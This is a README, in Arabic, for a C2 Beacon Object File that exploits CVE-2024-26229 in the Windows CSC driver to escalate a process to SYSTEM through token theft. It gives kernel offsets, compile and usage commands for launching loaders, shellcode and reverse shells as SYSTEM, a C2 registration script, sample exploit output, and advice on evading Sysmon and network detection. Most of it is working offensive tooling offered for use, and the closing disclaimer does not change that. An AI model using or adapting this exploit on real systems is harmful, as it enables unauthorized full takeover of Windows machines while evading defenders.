
CVE-2024-26229 Beacon Object File version
ملف كائن البيكون (BOF) لتنفيذ CVE-2024-26229 — تصعيد صلاحيات محلي عبر برنامج تشغيل CSC في ويندوز باستخدام سرقة رمز DKOM.
بناءً على RalfHacker/CVE-2024-26229-exploit، تم تحويله إلى BOF مع حل ديناميكي للدوال (DFR) للاستخدام مع أطر عمل C2 التي تدعم واجهة BOF الخاصة بـ Cobalt Strike.
\Device\Mup\;Csc\.\. عبر NtCreateFile للحصول على مقبض لبرنامج تشغيل CSC0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) مع مخزن إدخال مخصص يشير إلى KTHREAD->PreviousMode - 0x18، مما يفسد PreviousMode من UserMode إلى KernelModePreviousMode = KernelMode، يمكن لـ NtWriteVirtualMemory الكتابة إلى عناوين kernel عشوائيةPID 4) من EPROCESS->Token فوق رمز العملية الحالية (DKOM)PreviousMode إلى UserModeCreateProcessA — ترث العملية الفرعية رمز SYSTEMتصبح عملية البيكون نفسها SYSTEM بعد الخطوة 4. العملية المشغلة اختيارية — إذا فشلت CreateProcessA، يظل البيكون مرتفع الصلاحيات.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| الإزاحة | القيمة | الهيكل |
|---|---|---|
EPROCESS->Token | 0x4B8 | ويندوز 10 19041–19045 / سيرفر 2019 17763 |
KTHREAD->PreviousMode | 0x232 | ويندوز 10 19041–19045 / سيرفر 2019 17763 |
هذه الإزاحات خاصة بالإصدار. إذا كان الهدف إصدارًا مختلفًا، تحقق باستخدام WinDbg:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
يتطلب mingw-w64 وملف رأس beacon.h متوافق مع إطار عمل C2 الخاص بك.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
ضع الملف المترجم .o في دليل BOF الخاص بك (مثلًا _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
تشغيل محمل مع شيل كود محلي:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
تشغيل شيل عكسي:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
تشغيل بدون وسائط:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
سجل BOF في سكربت التمديد .axs الخاص بك:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
تعبئة الوسائط هي cstr,cstr — سلسلتان منتهيتان بصفر تتوافقان مع استدعاءات BeaconDataExtract في BOF.
PreviousMode التالف. لا ملفات مكتوبة، لا خدمات منشأة، لا تعديلات في السجل.--munition-local) بدلاً من الجلب عبر HTTP لتجنب الاكتشافات الشبكية.CreateProcessA مع CREATE_NO_WINDOW. العملية المشغلة ترث رمز SYSTEM. إذا كان المحمل الخاص بك يحقن في عملية أخرى (مثل svchost.exe)، يمكن تنظيف المحمل من القرص بعد ذلك.NtCreateFile إلى \Device\Mup\;Csc\.\. و IOCTL لا يتم تسجيلهما عادة في تكوينات Sysmon الافتراضية. استدعاء CreateProcessA سيولد حدث إنشاء عملية قياسي (Event ID 1) — تأكد من أن الملف الثنائي المشغل غير ممضى عليه.PreviousMode إلى UserMode بعد نسخ الرمز. تستمر عملية البيكون في العمل بشكل طبيعي بعد الاستغلال.EPROCESS->Token (0x4B8) و KTHREAD->PreviousMode (0x232) صالحة لويندوز 10 19041–19045 وسيرفر 2019 17763. الإصدارات الأخرى قد تتطلب تعديل.sc query csc أو السجل HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). البرنامج مفعل افتراضيًا على محطات العمل ولكن قد يكون معطلًا على الخوادم.هذه الأداة مخصصة فقط لاختبار الاختراق المصرح به والبحث الأمني.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني بموجب القانون الفيتنامي، بما في ذلك على سبيل المثال لا الحصر:
هذه الأداة مقدمة لأغراض تعليمية فقط. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام. أنت المسؤول الوحيد عن ضمان امتثال استخدامك لجميع القوانين المحلية والوطنية والدولية المعمول بها.
باستخدام هذه الأداة فإنك تؤكد أنك حصلت على التصريح المناسب من مالك النظام قبل أي نشاط اختباري.